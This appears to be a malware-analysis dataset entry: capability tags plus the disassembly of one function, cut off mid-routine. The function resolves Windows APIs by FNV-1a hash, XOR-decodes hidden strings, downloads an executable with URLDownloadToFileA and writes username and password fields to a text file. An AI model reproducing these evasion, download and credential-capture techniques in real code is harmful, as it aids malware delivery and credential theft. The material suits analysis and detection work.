Function at 0x423cd7
Capabilities:
Access peb ldr_data
Check os version
Contain obfuscated stackstrings
Download url
Encode data using xor
Hash data using fnv
Receive data
Resolve function by fnv-1a hash
Resolve function by parsing pe exports
Terminate process

Disassembly:
push 0xa08
mov eax, 0x458256
call fcn.004328c2
mov eax, dword [ebp + 8]
mov esi, 0x104
mov dword [ebp - 0x378], eax
xor ebx, ebx
push esi
lea eax, [ebp - 0x118]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x954]
call fcn.00402b85
push 0xffffffffffffffff
push 0x4cd61c
mov ecx, eax
call fcn.004273b2
cmp eax, esi
jae 0x427242
mov byte [ebp + eax - 0x118], bl
lea ecx, [ebp - 0x954]
mov dword [ebp - 4], ebx
call fcn.00402ba8
or dword [ebp - 4], 0xffffffff
mov ecx, ebx
movaps xmm0, xmmword [0x4ceab0]
movups xmmword [ebp - 0x750], xmm0
mov dword [ebp - 0x720], 0x7b222f19
movaps xmm0, xmmword [0x4cea50]
movups xmmword [ebp - 0x740], xmm0
mov word [ebp - 0x71c], 0x77
movaps xmm0, xmmword [0x4cea30]
movups xmmword [ebp - 0x730], xmm0
mov al, byte [ebp - 0x750]
xor byte [ebp + ecx - 0x74f], al
inc ecx
cmp ecx, 0x34
jb 0x423d85
sub esp, 0x18
mov byte [ebp - 0x71b], bl
lea eax, [ebp - 0x74f]
mov ecx, esp
push eax
call fcn.00402b85
lea ecx, [ebp - 0x174]
call fcn.00423356
add esp, 0x18
push 0x4cd620
lea ecx, [ebp - 0x984]
mov dword [ebp - 4], 1
call fcn.00402b85
lea ecx, [ebp - 0x174]
push ecx
mov ecx, eax
call fcn.0042a39f
mov bl, al
lea ecx, [ebp - 0x984]
mov byte [ebp - 4], 2
call fcn.00402ba8
mov byte [ebp - 4], 1
test bl, bl
jne 0x4243ac
push 0xf
pop edx
lea ecx, [ebp - 0x9fc]
call fcn.004238d1
push eax
mov edx, 0x4cd62c
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x9e4]
call fcn.00429306
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x1b8]
mov edx, eax
mov dword [esp], str..exe
call fcn.00429338
pop ecx
lea ecx, [ebp - 0x9e4]
mov byte [ebp - 4], 7
call fcn.00402ba8
lea ecx, [ebp - 0x9fc]
mov byte [ebp - 4], 9
call fcn.00402ba8
mov byte [ebp - 4], 8
lea eax, [ebp - 0x1b8]
cmp dword [ebp - 0x1a4], 0x10
cmovae eax, dword [ebp - 0x1b8]
push eax
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
movaps xmm0, xmmword [0x4ce9e0]
xor ebx, ebx
movups xmmword [ebp - 0x7f8], xmm0
mov edx, eax
mov word [ebp - 0x7c8], 0x1805
movaps xmm0, xmmword [0x4cef10]
mov ecx, ebx
movups xmmword [ebp - 0x7e8], xmm0
mov dword [ebp - 0x37c], edx
movaps xmm0, xmmword [0x4ce9f0]
movups xmmword [ebp - 0x7d8], xmm0
mov byte [ebp - 0x7c6], bl
mov al, byte [ebp - 0x7f8]
xor byte [ebp + ecx - 0x7f7], al
inc ecx
cmp ecx, 0x31
jb 0x423ec4
push ebx
push ebx
push edx
lea eax, [ebp - 0x7f7]
mov byte [ebp - 0x7c6], bl
push eax
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, ebx
test eax, eax
jne 0x424228
movaps xmm0, xmmword [0x4ceaa0]
mov dword [ebp - 0x49c], ebx
movups xmmword [ebp - 0x5b8], xmm0
mov word [ebp - 0x5a8], 0x39
mov al, byte [ebp - 0x5b8]
xor byte [ebp + ecx - 0x5b7], al
inc ecx
cmp ecx, 0x10
jb 0x423f15
movaps xmm0, xmmword [0x4cf090]
lea eax, [ebp - 0x5b7]
movups xmmword [ebp - 0x718], xmm0
mov ecx, ebx
mov byte [ebp - 0x5a7], bl
movaps xmm0, xmmword [0x4ce9d0]
movups xmmword [ebp - 0x708], xmm0
mov dword [ebp - 0x4a0], eax
movaps xmm0, xmmword [0x4ce9c0]
movups xmmword [ebp - 0x6f8], xmm0
mov dword [ebp - 0x6c8], 0x54474a48
movaps xmm0, xmmword [0x4ceed0]
movups xmmword [ebp - 0x6e8], xmm0
mov dword [ebp - 0x6c4], 0x4a4f4206
movaps xmm0, xmmword [0x4cef30]
movups xmmword [ebp - 0x6d8], xmm0
mov dword [ebp - 0x6c0], 0x5c4f5443
mov word [ebp - 0x6bc], 8
mov al, byte [ebp - 0x718]
xor byte [ebp + ecx - 0x717], al
inc ecx
cmp ecx, 0x5c
jb 0x423fa9
lea eax, [ebp - 0x717]
mov byte [ebp - 0x6bb], bl
mov dword [ebp - 0x7a4], eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x7ac], ebx
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x388], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x374], ecx
cmp ecx, esi
je 0x424079
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x424079
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
sub ecx, 4
dec edi
mov dword [ebp - 0x378], ecx
mov edx, dword [ecx]
mov ecx, 0x811c9dc5
add edx, esi
mov dword [ebp - 0x370], ecx
mov cl, byte [edx]
inc edx
mov byte [ebp - 0x369], cl
test cl, cl
mov ecx, dword [ebp - 0x378]
je 0x424075
mov cl, byte [ebp - 0x369]
mov esi, dword [ebp - 0x370]
movsx ecx, cl
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x424048
mov dword [ebp - 0x370], esi
cmp dword [ebp - 0x370], 0x23a979e4
mov esi, dword [eax + 0x18]
je 0x424080
mov ecx, dword [ebp - 0x378]
test edi, edi
jne 0x424010
mov eax, dword [eax]
jmp 0x423fe0
mov eax, dword [ebp - 0x374]
push dword [ebp - 0x49c]
push dword [ebp - 0x4a0]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x717]
push ecx
add eax, esi
push ebx
call eax
push 0x4664ca
lea ecx, [ebp - 0x854]
call fcn.00402b85
sub esp, 0xc
mov byte [ebp - 4], 0xa
mov ecx, esp
mov dword [ebp - 0x388], esp
lea eax, [ebp - 0x409]
lea edx, [ebp - 0x83c]
push eax
push edx
lea esi, [ebp - 0x854]
push esi
lea edi, [ebp - 0x1c8]
call fcn.0042732f
sub esp, 0x18
mov byte [ebp - 4], 0xb
mov ecx, esp
push dword [ebp - 0x37c]
call fcn.00402b85
mov ecx, edi
mov byte [ebp - 4], 0xa
call fcn.00423a2f
add esp, 0x24
mov byte [ebp - 4], 8
mov bl, al
mov eax, esi
push fcn.00402b80
push 1
push 0x18
push eax
call fcn.00431f8c
test bl, bl
jne 0x427271
movaps xmm0, xmmword [0x4cf080]
xor eax, eax
movups xmmword [ebp - 0x66c], xmm0
xor ebx, ebx
mov dword [ebp - 0x64c], 0x5ad05b42
movaps xmm0, xmmword [0x4cee60]
mov ecx, ebx
movups xmmword [ebp - 0x65c], xmm0
mov byte [ebp - 0x648], 0x5b
mov word [ebp - 0x647], ax
mov al, byte [ebp - 0x66c]
xor byte [ebp + ecx - 0x66b], al
inc ecx
cmp ecx, 0x25
jb 0x424169
mov eax, dword fs:[0x30]
mov byte [ebp - 0x646], bl
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x374], ecx
cmp ecx, esi
je 0x424221
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x424221
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
sub ecx, 4
dec edi
mov dword [ebp - 0x378], ecx
mov edx, dword [ecx]
mov ecx, 0x811c9dc5
add edx, esi
mov dword [ebp - 0x370], ecx
mov cl, byte [edx]
inc edx
mov byte [ebp - 0x369], cl
test cl, cl
mov ecx, dword [ebp - 0x378]
je 0x42421d
mov cl, byte [ebp - 0x369]
mov esi, dword [ebp - 0x370]
movsx ecx, cl
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x4241ec
mov dword [ebp - 0x370], esi
cmp dword [ebp - 0x370], 0x23a979e4
mov esi, dword [eax + 0x18]
je 0x427247
mov ecx, dword [ebp - 0x378]
test edi, edi
jne 0x4241b4
mov eax, dword [eax]
jmp 0x42418e
movaps xmm0, xmmword [0x4cf000]
mov dword [ebp - 0x4a4], ebx
movups xmmword [ebp - 0x5a4], xmm0
mov word [ebp - 0x594], 0x68
mov al, byte [ebp - 0x5a4]
xor byte [ebp + ecx - 0x5a3], al
inc ecx
cmp ecx, 0x10
jb 0x424245
movaps xmm0, xmmword [0x4cef40]
lea eax, [ebp - 0x5a3]
movups xmmword [ebp - 0x83c], xmm0
mov ecx, ebx
mov byte [ebp - 0x593], bl
movaps xmm0, xmmword [0x4cef80]
movups xmmword [ebp - 0x82c], xmm0
mov dword [ebp - 0x4a8], eax
movaps xmm0, xmmword [0x4cef70]
movups xmmword [ebp - 0x81c], xmm0
mov word [ebp - 0x7fc], 0x2a
movaps xmm0, xmmword [0x4cea90]
movups xmmword [ebp - 0x80c], xmm0
mov al, byte [ebp - 0x83c]
xor byte [ebp + ecx - 0x83b], al
inc ecx
cmp ecx, 0x40
jb 0x4242ad
lea eax, [ebp - 0x83b]
mov byte [ebp - 0x7fb], bl
mov dword [ebp - 0x7b8], eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x7bc], ebx
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x374], ecx
cmp ecx, esi
je 0x424373
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x424373
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
sub ecx, 4
dec edi
mov dword [ebp - 0x378], ecx
mov edx, dword [ecx]
mov ecx, 0x811c9dc5
add edx, esi
mov dword [ebp - 0x370], ecx
mov cl, byte [edx]
inc edx
mov byte [ebp - 0x369], cl
test cl, cl
mov ecx, dword [ebp - 0x378]
je 0x42436f
mov cl, byte [ebp - 0x369]
mov esi, dword [ebp - 0x370]
movsx ecx, cl
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x424342
mov dword [ebp - 0x370], esi
cmp dword [ebp - 0x370], 0x23a979e4
mov esi, dword [eax + 0x18]
je 0x42437a
mov ecx, dword [ebp - 0x378]
test edi, edi
jne 0x42430a
mov eax, dword [eax]
jmp 0x4242e4
mov edx, dword [ebp - 0x374]
push dword [ebp - 0x4a4]
push dword [ebp - 0x4a8]
mov eax, dword [edx + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + esi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + esi]
lea ecx, [ebp - 0x83b]
add eax, esi
jmp 0x42726b
mov eax, dword fs:[0x30]
xor ebx, ebx
mov dword [ebp - 0x754], ebx
mov dword [ebp - 0x758], ebx
mov dword [ebp - 0x75c], ebx
mov dword [ebp - 0x7b0], ebx
mov dword [ebp - 0x7c4], ebx
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x388], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x37c], ecx
cmp ecx, esi
je 0x42723b
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x42723b
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
sub ecx, 4
dec edi
mov dword [ebp - 0x374], ecx
mov edx, dword [ecx]
mov ecx, 0x811c9dc5
add edx, esi
mov dword [ebp - 0x370], ecx
mov cl, byte [edx]
inc edx
mov byte [ebp - 0x369], cl
test cl, cl
mov ecx, dword [ebp - 0x374]
je 0x427233
mov cl, byte [ebp - 0x369]
mov ebx, dword [ebp - 0x370]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x42444c
mov dword [ebp - 0x370], ebx
xor ebx, ebx
cmp dword [ebp - 0x370], 0x60ac7e39
jne 0x42722d
mov eax, dword [ebp - 0x37c]
push ebx
push ebx
push ebx
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
push 0x401e60
push ebx
push ebx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, esi
call eax
mov cl, 0x13
mov dword [ebp - 0x398], 0x77207713
mov dword [ebp - 0x394], 0x7f773d2a
mov eax, ebx
mov word [ebp - 0x390], 0x7f
xor byte [ebp + eax - 0x397], cl
inc eax
cmp eax, 8
jae 0x4244d1
mov cl, byte [ebp - 0x398]
jmp 0x4244bc
lea eax, [ebp - 0x397]
mov byte [ebp - 0x38f], bl
mov dword [ebp - 0x7c0], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x388], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x37c], ecx
cmp ecx, esi
je 0x427226
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x427226
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
sub ecx, 4
dec edi
mov dword [ebp - 0x374], ecx
mov edx, dword [ecx]
mov ecx, 0x811c9dc5
add edx, esi
mov dword [ebp - 0x370], ecx
mov cl, byte [edx]
inc edx
mov byte [ebp - 0x369], cl
test cl, cl
mov ecx, dword [ebp - 0x374]
je 0x42721e
mov cl, byte [ebp - 0x369]
mov ebx, dword [ebp - 0x370]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x424563
mov dword [ebp - 0x370], ebx
xor ebx, ebx
cmp dword [ebp - 0x370], 0x53b2070f
jne 0x427218
mov eax, dword [ebp - 0x37c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x397]
add eax, esi
push ecx
call eax
mov cl, 0xa
mov dword [ebp - 0x3e4], 0x6e396e0a
mov dword [ebp - 0x3e0], 0x3e553372
mov eax, ebx
mov dword [ebp - 0x3dc], 0x666e2439
mov word [ebp - 0x3d8], 0x66
xor byte [ebp + eax - 0x3e3], cl
inc eax
cmp eax, 0xc
jae 0x4245ef
mov cl, byte [ebp - 0x3e4]
jmp 0x4245da
lea eax, [ebp - 0x3e3]
mov byte [ebp - 0x3d7], bl
mov dword [ebp - 0x7b4], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x388], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x37c], ecx
cmp ecx, esi
je 0x427211
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x427211
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
sub ecx, 4
dec edi
mov dword [ebp - 0x374], ecx
mov edx, dword [ecx]
mov ecx, 0x811c9dc5
add edx, esi
mov dword [ebp - 0x370], ecx
mov cl, byte [edx]
inc edx
mov byte [ebp - 0x369], cl
test cl, cl
mov ecx, dword [ebp - 0x374]
je 0x427209
mov cl, byte [ebp - 0x369]
mov ebx, dword [ebp - 0x370]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x424681
mov dword [ebp - 0x370], ebx
xor ebx, ebx
cmp dword [ebp - 0x370], 0x53b2070f
jne 0x427203
mov eax, dword [ebp - 0x37c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x3e3]
add eax, esi
push ecx
call eax
mov cl, 8
mov dword [ebp - 0x3f4], 0x46415008
mov dword [ebp - 0x3f0], 0x395c5d58
mov eax, ebx
mov dword [ebp - 0x3ec], 0x6c263b57
mov word [ebp - 0x3e8], 0x6464
mov byte [ebp - 0x3e6], bl
xor byte [ebp + eax - 0x3f3], cl
inc eax
cmp eax, 0xd
jae 0x424713
mov cl, byte [ebp - 0x3f4]
jmp 0x4246fe
lea eax, [ebp - 0x3f3]
mov byte [ebp - 0x3e6], bl
mov dword [ebp - 0x7a8], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x388], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x37c], ecx
cmp ecx, esi
je 0x4271fc
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4271fc
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
sub ecx, 4
dec edi
mov dword [ebp - 0x374], ecx
mov edx, dword [ecx]
mov ecx, 0x811c9dc5
add edx, esi
mov dword [ebp - 0x370], ecx
mov cl, byte [edx]
inc edx
mov byte [ebp - 0x369], cl
test cl, cl
mov ecx, dword [ebp - 0x374]
je 0x4271f4
mov cl, byte [ebp - 0x369]
mov ebx, dword [ebp - 0x370]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x4247a5
mov dword [ebp - 0x370], ebx
xor ebx, ebx
cmp dword [ebp - 0x370], 0x53b2070f
jne 0x4271ee
mov eax, dword [ebp - 0x37c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x3f3]
add eax, esi
push ecx
call eax
mov cl, 9
mov dword [ebp - 0x3bc], 0x6d7d6709
mov dword [ebp - 0x3b8], 0x6d276565
mov eax, ebx
mov word [ebp - 0x3b4], 0x6565
mov byte [ebp - 0x3b2], bl
xor byte [ebp + eax - 0x3bb], cl
inc eax
cmp eax, 9
jae 0x42482d
mov cl, byte [ebp - 0x3bc]
jmp 0x424818
lea eax, [ebp - 0x3bb]
mov byte [ebp - 0x3b2], bl
mov dword [ebp - 0x79c], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x388], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x37c], ecx
cmp ecx, esi
je 0x4271e7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4271e7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
sub ecx, 4
dec edi
mov dword [ebp - 0x374], ecx
mov edx, dword [ecx]
mov ecx, 0x811c9dc5
add edx, esi
mov dword [ebp - 0x370], ecx
mov cl, byte [edx]
inc edx
mov byte [ebp - 0x369], cl
test cl, cl
mov ecx, dword [ebp - 0x374]
je 0x4271df
mov cl, byte [ebp - 0x369]
mov ebx, dword [ebp - 0x370]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x4248bf
mov dword [ebp - 0x370], ebx
xor ebx, ebx
cmp dword [ebp - 0x370], 0x53b2070f
jne 0x4271d9
mov eax, dword [ebp - 0x37c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x3bb]
add eax, esi
push ecx
call eax
lea eax, [ebp - 0x184]
mov dword [ebp - 0x4ac], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x388], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x37c], ecx
cmp ecx, esi
je 0x4271d2
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4271d2
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
sub ecx, 4
dec edi
mov dword [ebp - 0x374], ecx
mov edx, dword [ecx]
mov ecx, 0x811c9dc5
add edx, esi
mov dword [ebp - 0x370], ecx
mov cl, byte [edx]
inc edx
mov byte [ebp - 0x369], cl
test cl, cl
mov ecx, dword [ebp - 0x374]
je 0x4271ca
mov cl, byte [ebp - 0x369]
mov ebx, dword [ebp - 0x370]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x424997
mov dword [ebp - 0x370], ebx
xor ebx, ebx
cmp dword [ebp - 0x370], 0xb26629a5
jne 0x4271c4
mov eax, dword [ebp - 0x37c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, esi
call eax
mov dword [ebp - 0x4b0], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x388], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x37c], ecx
cmp ecx, esi
je 0x4271bd
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4271bd
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
sub ecx, 4
dec edi
mov dword [ebp - 0x374], ecx
mov edx, dword [ecx]
mov ecx, 0x811c9dc5
add edx, esi
mov dword [ebp - 0x370], ecx
mov cl, byte [edx]
inc edx
mov byte [ebp - 0x369], cl
test cl, cl
mov ecx, dword [ebp - 0x374]
je 0x4271b5
mov cl, byte [ebp - 0x369]
mov ebx, dword [ebp - 0x370]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x424a62
mov dword [ebp - 0x370], ebx
xor ebx, ebx
cmp dword [ebp - 0x370], 0x1a4f5149
jne 0x4271af
mov eax, dword [ebp - 0x37c]
push dword [ebp - 0x4ac]
push dword [ebp - 0x4b0]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, esi
call eax
mov eax, dword [ebp - 0x17c]
mov ecx, 0xc8
cdq
sub eax, edx
mov byte [ebp - 0x119], 1
sar eax, 1
sub eax, ecx
mov dword [ebp - 0x410], ebx
push 0xb8
push ebx
movd xmm0, eax
mov eax, dword [ebp - 0x178]
cdq
sub eax, edx
cvtdq2ps xmm0, xmm0
sar eax, 1
sub eax, ecx
movss dword [0x4d9128], xmm0
movd xmm0, eax
lea eax, [ebp - 0x330]
cvtdq2ps xmm0, xmm0
push eax
movss dword [0x4d912c], xmm0
call fcn.00434480
add esp, 0xc
lea ecx, [ebp - 0x330]
push 1
call fcn.00427736
lea ecx, [ebp - 0x14c]
call fcn.00427522
push 0x40
push 1
push str.C:Xhangerdata.txt
lea ecx, [ebp - 0x330]
mov byte [ebp - 4], 0xe
call fcn.004276aa
lea edx, [ebp - 0x14c]
lea ecx, [ebp - 0x330]
call fcn.00429359
cmp dword [ebp - 0x138], 0x10
lea ecx, [ebp - 0x14c]
mov edx, str.Kullanici_Adi
cmovae ecx, dword [ebp - 0x14c]
sub edx, ecx
mov al, byte [ecx]
mov byte [ecx + edx], al
inc ecx
test al, al
jne 0x424b6e
lea edx, [ebp - 0x14c]
lea ecx, [ebp - 0x330]
call fcn.00429359
cmp dword [ebp - 0x138], 0x10
lea ecx, [ebp - 0x14c]
mov edx, str.Sifre
cmovae ecx, dword [ebp - 0x14c]
sub edx, ecx
mov al, byte [ecx]
mov byte [ecx + edx], al
inc ecx
test al, al
jne 0x424ba4
lea ecx, [ebp - 0x330]
call fcn.00427678
push 0x30
lea eax, [ebp - 0x368]
mov dword [ebp - 0x334], ebx
push ebx
push eax
call fcn.00434480
mov eax, dword [ebp - 0x378]
add esp, 0xc
mov dword [ebp - 0x354], eax
mov cl, 0x6e
mov dword [ebp - 0x368], 0x30
mov eax, ebx
mov dword [ebp - 0x360], 0x4235ac
mov dword [ebp - 0x3a4], 0xf06366e
mov dword [ebp - 0x3a0], 0x1c0b0900
mov byte [ebp - 0x39c], bl
xor byte [ebp + eax - 0x3a3], cl
inc eax
cmp eax, 7
jae 0x424c24
mov cl, byte [ebp - 0x3a4]
jmp 0x424c0f
lea eax, [ebp - 0x3a3]
mov byte [ebp - 0x39c], bl
mov dword [ebp - 0x340], eax
mov dword [ebp - 0x364], 3
lea eax, [ebp - 0x368]
mov dword [ebp - 0x7a0], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x388], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x37c], ecx
cmp ecx, esi
je 0x4271a8
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4271a8
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
sub ecx, 4
dec edi
mov dword [ebp - 0x374], ecx
mov edx, dword [ecx]
mov ecx, 0x811c9dc5
add edx, esi
mov dword [ebp - 0x370], ecx
mov cl, byte [edx]
inc edx
mov byte [ebp - 0x369], cl
test cl, cl
mov ecx, dword [ebp - 0x374]
je 0x4271a0
mov cl, byte [ebp - 0x369]
mov ebx, dword [ebp - 0x370]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x424ccc
mov dword [ebp - 0x370], ebx
xor ebx, ebx
cmp dword [ebp - 0x370], 0xeca33424
jne 0x42719a
mov eax, dword [ebp - 0x37c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x368]
add eax, esi
push ecx
call eax
mov ecx, ebx
test ax, ax
jne 0x424eaf
movaps xmm0, xmmword [0x4ce9b0]
mov dword [ebp - 0x4b4], ebx
movups xmmword [ebp - 0x590], xmm0
mov word [ebp - 0x580], 0x11
mov al, byte [ebp - 0x590]
xor byte [ebp + ecx - 0x58f], al
inc ecx
cmp ecx, 0x10
jb 0x424d40
movaps xmm0, xmmword [0x4cefa0]
lea eax, [ebp - 0x58f]
mov byte [ebp - 0x57f], bl
mov ecx, ebx
mov dword [ebp - 0x4b8], eax
movups xmmword [ebp - 0x450], xmm0
mov dword [ebp - 0x440], 0x5139777c
mov dword [ebp - 0x43c], 0x39786d78
mov dword [ebp - 0x438], 0xe76c7556
mov word [ebp - 0x434], 0x6c6d
mov byte [ebp - 0x432], bl
mov al, byte [ebp - 0x450]
xor byte [ebp + ecx - 0x44f], al
inc ecx
cmp ecx, 0x1d
jb 0x424da2
lea eax, [ebp - 0x44f]
mov byte [ebp - 0x432], bl
mov dword [ebp - 0x798], eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x794], ebx
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x388], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x374], ecx
cmp ecx, esi
je 0x424e72
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x424e72
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
sub ecx, 4
dec edi
mov dword [ebp - 0x378], ecx
mov edx, dword [ecx]
mov ecx, 0x811c9dc5
add edx, esi
mov dword [ebp - 0x370], ecx
mov cl, byte [edx]
inc edx
mov byte [ebp - 0x369], cl
test cl, cl
mov ecx, dword [ebp - 0x378]
